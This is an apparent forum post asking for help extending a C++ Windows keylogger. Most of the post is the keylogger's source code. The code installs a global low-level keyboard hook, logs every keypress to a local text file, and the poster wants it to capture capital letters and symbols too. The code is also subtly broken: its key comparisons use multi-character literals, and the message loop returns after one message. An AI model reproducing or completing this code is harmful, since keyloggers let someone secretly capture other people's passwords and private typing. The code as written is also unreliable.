Hi
I have a keylogger code which writes the keys but does not write capital letters and such that:! @ # $% ^ & * () +
Someone help me with this?
Here is a keylogging code:
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
ofstream out("plik.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
if (wParam==WM_KEYDOWN)
{
switch (p->vkCode)
{
case 'VK_A' : out <<"A"; break;
case 'VK_a' : out <<"a"; break;
case 'VK_CAPITAL' : out <<"CAPITAL"; break;
case 'VK_ADD' : out <<"+"; break;
default:
out << char(tolower(p->vkCode));
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
MSG msg;
HHOOK keyboardhook = SetWindowsHookEx (WH_KEYBOARD_LL, keyboardHookProc, GetModuleHandle(0), 0);
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
return msg.wParam;
}
}